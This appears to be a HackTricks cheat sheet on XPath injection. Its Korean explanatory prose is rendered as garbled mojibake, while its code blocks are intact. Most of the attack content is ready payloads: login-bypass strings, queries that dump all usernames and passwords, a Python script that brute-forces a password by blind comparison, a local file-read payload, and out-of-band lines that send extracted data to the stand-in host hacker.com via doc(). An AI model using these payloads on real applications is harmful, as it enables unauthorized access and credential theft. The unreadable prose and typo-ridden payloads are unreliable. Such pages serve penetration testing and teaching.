# XPATH injection
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** π¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## Basic Syntax
μ¬μ©μ μ
λ ₯μ κΈ°λ°μΌλ‘ XPath (XML Path Language) 쿼리λ₯Ό νμ±νμ¬ XML λ¬Έμλ₯Ό 쿼리νκ±°λ νμνλ μ ν리μΌμ΄μ
μ μ·¨μ½μ μ μ΄μ©νλ 곡격 κΈ°λ²μΈ XPath Injectionμ΄ μ¬μ©λ©λλ€.
### Nodes Described
ννμμ XML λ¬Έμμμ λ€μν λ
Έλλ₯Ό μ ννλ λ° μ¬μ©λ©λλ€. μ΄λ¬ν ννμκ³Ό κ·Έ μ€λͺ
μ μλμ μμ½λμ΄ μμ΅λλ€:
* **nodename**: "nodename"μ΄λΌλ μ΄λ¦μ κ°μ§ λͺ¨λ λ
Έλκ° μ νλ©λλ€.
* **/**: λ£¨νΈ λ
Έλμμ μ νμ΄ μ΄λ£¨μ΄μ§λλ€.
* **//**: νμ¬ λ
Έλμμ μ νκ³Ό μΌμΉνλ λ
Έλκ° λ¬Έμ λ΄ μμΉμ κ΄κ³μμ΄ μ νλ©λλ€.
* **.**: νμ¬ λ
Έλκ° μ νλ©λλ€.
* **..**: νμ¬ λ
Έλμ λΆλͺ¨κ° μ νλ©λλ€.
* **@**: μμ±μ΄ μ νλ©λλ€.
### XPath Examples
κ²½λ‘ ννμκ³Ό κ·Έ κ²°κ³Όμ μλ λ€μκ³Ό κ°μ΅λλ€:
* **bookstore**: "bookstore"λΌλ μ΄λ¦μ κ°μ§ λͺ¨λ λ
Έλκ° μ νλ©λλ€.
* **/bookstore**: λ£¨νΈ μμ bookstoreκ° μ νλ©λλ€. μ¬λμ (/)λ‘ μμνλ κ²½λ‘λ μμμ λν μ λ κ²½λ‘λ₯Ό λνλ
λλ€.
* **bookstore/book**: bookstoreμ μμμΈ λͺ¨λ book μμκ° μ νλ©λλ€.
* **//book**: λ¬Έμ λ΄ λͺ¨λ book μμκ° μ νλ©λλ€, μμΉμ κ΄κ³μμ΄.
* **bookstore//book**: bookstore μμμ μμμΈ λͺ¨λ book μμκ° μ νλ©λλ€, bookstore μμ μλμ μμΉμ κ΄κ³μμ΄.
* **//@lang**: langμ΄λΌλ μ΄λ¦μ κ°μ§ λͺ¨λ μμ±μ΄ μ νλ©λλ€.
### Utilization of Predicates
μ νμ μΈλΆννκΈ° μν΄ μ μ΄κ° μ¬μ©λ©λλ€:
* **/bookstore/book\[1]**: bookstore μμμ 첫 λ²μ§Έ book μμ μμμ΄ μ νλ©λλ€. IE λ²μ 5μμ 9κΉμ§μ κ²½μ° μ²« λ²μ§Έ λ
Έλλ₯Ό \[0]μΌλ‘ μΈλ±μ±νλ λ¬Έμ λ₯Ό ν΄κ²°νκΈ° μν΄ JavaScriptλ₯Ό ν΅ν΄ SelectionLanguageλ₯Ό XPathλ‘ μ€μ ν©λλ€.
* **/bookstore/book\[last()]**: bookstore μμμ λ§μ§λ§ book μμ μμμ΄ μ νλ©λλ€.
* **/bookstore/book\[last()-1]**: bookstore μμμ λμμ λ λ²μ§Έ book μμ μμμ΄ μ νλ©λλ€.
* **/bookstore/book\[position()<3]**: bookstore μμμ 첫 λ book μμ μμμ΄ μ νλ©λλ€.
* **//title\[@lang]**: lang μμ±μ΄ μλ λͺ¨λ title μμκ° μ νλ©λλ€.
* **//title\[@lang='en']**: "lang" μμ± κ°μ΄ "en"μΈ λͺ¨λ title μμκ° μ νλ©λλ€.
* **/bookstore/book\[price>35.00]**: κ°κ²©μ΄ 35.00λ³΄λ€ ν° bookstoreμ λͺ¨λ book μμκ° μ νλ©λλ€.
* **/bookstore/book\[price>35.00]/title**: κ°κ²©μ΄ 35.00λ³΄λ€ ν° bookstoreμ book μμμ λͺ¨λ title μμκ° μ νλ©λλ€.
### Handling of Unknown Nodes
μμΌλμΉ΄λλ μ μ μλ λ
Έλλ₯Ό 맀μΉνλ λ° μ¬μ©λ©λλ€:
* **\***: λͺ¨λ μμ λ
Έλμ μΌμΉν©λλ€.
* **@**\*: λͺ¨λ μμ± λ
Έλμ μΌμΉν©λλ€.
* **node()**: λͺ¨λ μ’
λ₯μ λ
Έλμ μΌμΉν©λλ€.
μΆκ° μλ λ€μκ³Ό κ°μ΅λλ€:
* **/bookstore/\***: bookstore μμμ λͺ¨λ μμ μμ λ
Έλλ₯Ό μ νν©λλ€.
* **//\***: λ¬Έμ λ΄ λͺ¨λ μμλ₯Ό μ νν©λλ€.
* **//title\[@\*]**: μ΅μν νλμ μμ±μ΄ μλ λͺ¨λ title μμλ₯Ό μ νν©λλ€.
## Example
```xml
pepe
peponcio
admin
mark
m12345
regular
fino
fino2
regular
```
### μ 보μ μ κ·ΌνκΈ°
```
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
```
### μ€ν€λ§ μλ³ λ° νμ·¨
```python
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag ``is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
```
## μΈμ¦ μ°ν
### **쿼리 μμ:**
```
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
```
### **μ¬μ©μ μ΄λ¦κ³Ό λΉλ°λ²νΈμμ OR μ°ν (λ κ°μ΄ λμΌν¨)**
```
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
```
### **λ μ£Όμ
μ
μ©**
```
Username: ' or 1]%00
```
### **μ¬μ©μ μ΄λ¦ λλ λΉλ°λ²νΈμμμ μ΄μ€ OR** (μ·¨μ½ν νλκ° νλλ§ μμ΄λ μ ν¨ν¨)
μ€μ: **"and"κ° μ²« λ²μ§Έλ‘ μνλλ μ°μ°μ**μ μ£ΌμνμΈμ.
```
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2ΒΊ account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
```
## λ¬Έμμ΄ μΆμΆ
μΆλ ₯μλ λ¬Έμμ΄μ΄ ν¬ν¨λμ΄ μμΌλ©° μ¬μ©μλ κ°μ μ‘°μνμ¬ κ²μν μ μμ΅λλ€:
```
/user/username[contains(., '+VALUE+')]
```
```
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
```
## λΈλΌμΈλ μ΅μ€νλ‘μ΄ν
μ΄μ
### **κ°μ κΈΈμ΄λ₯Ό μ»κ³ λΉκ΅λ₯Ό ν΅ν΄ μΆμΆνκΈ°:**
```bash
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
```
### **νμ΄μ¬ μμ **
```python
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
```
### νμΌ μ½κΈ°
```python
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
```
## OOB μ΅μ€νλ‘μ
```python
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
```
### μλ λꡬ
* [xcat](https://xcat.readthedocs.io/)
* [xxxpwn](https://github.com/feakk/xxxpwn)
* [xxxpwn\_smart](https://github.com/aayla-secura/xxxpwn\_smart)
* [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer)
* [XmlChor](https://github.com/Harshal35/XMLCHOR)
## μ°Έκ³ λ¬Έν
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection)
* [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_\(OTG-INPVAL-010\))
* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
κ²½νμ΄ νλΆν ν΄μ»€ λ° λ²κ·Έ λ°μ΄ν° νν°μ μν΅νκΈ° μν΄ [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) μλ²μ μ°Έμ¬νμΈμ!
**ν΄νΉ ν΅μ°°λ ₯**\
ν΄νΉμ μ€λ¦΄κ³Ό λμ μ λν΄ κΉμ΄ μλ μ½ν
μΈ μ μ°Έμ¬νμΈμ.
**μ€μκ° ν΄νΉ λ΄μ€**\
μ€μκ° λ΄μ€μ ν΅μ°°λ ₯μ ν΅ν΄ λΉ λ₯΄κ² λ³ννλ ν΄νΉ μΈκ³λ₯Ό μ΅μ μνλ‘ μ μ§νμΈμ.
**μ΅μ 곡μ§μ¬ν**\
μλ‘μ΄ λ²κ·Έ λ°μ΄ν° μΆμ λ° μ€μν νλ«νΌ μ
λ°μ΄νΈμ λν μ 보λ₯Ό μ μ§νμΈμ.
**μ§κΈ** [**Discord**](https://discord.com/invite/N3FrSbmwdy)μ μ°Έμ¬νκ³ μ€λλ μ΅κ³ μ ν΄μ»€λ€κ³Ό νλ ₯νμΈμ!
{% hint style="success" %}
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks μ§μνκΈ°
* [**ꡬλ
κ³ν**](https://github.com/sponsors/carlospolop) νμΈνκΈ°!
* π¬ [**Discord κ·Έλ£Ή**](https://discord.gg/hRep4RUj7f) λλ [**ν
λ κ·Έλ¨ κ·Έλ£Ή**](https://t.me/peass)μ μ°Έμ¬νκ±°λ **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**λ₯Ό νλ‘μ°νμΈμ.**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) λ° [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
{% endhint %}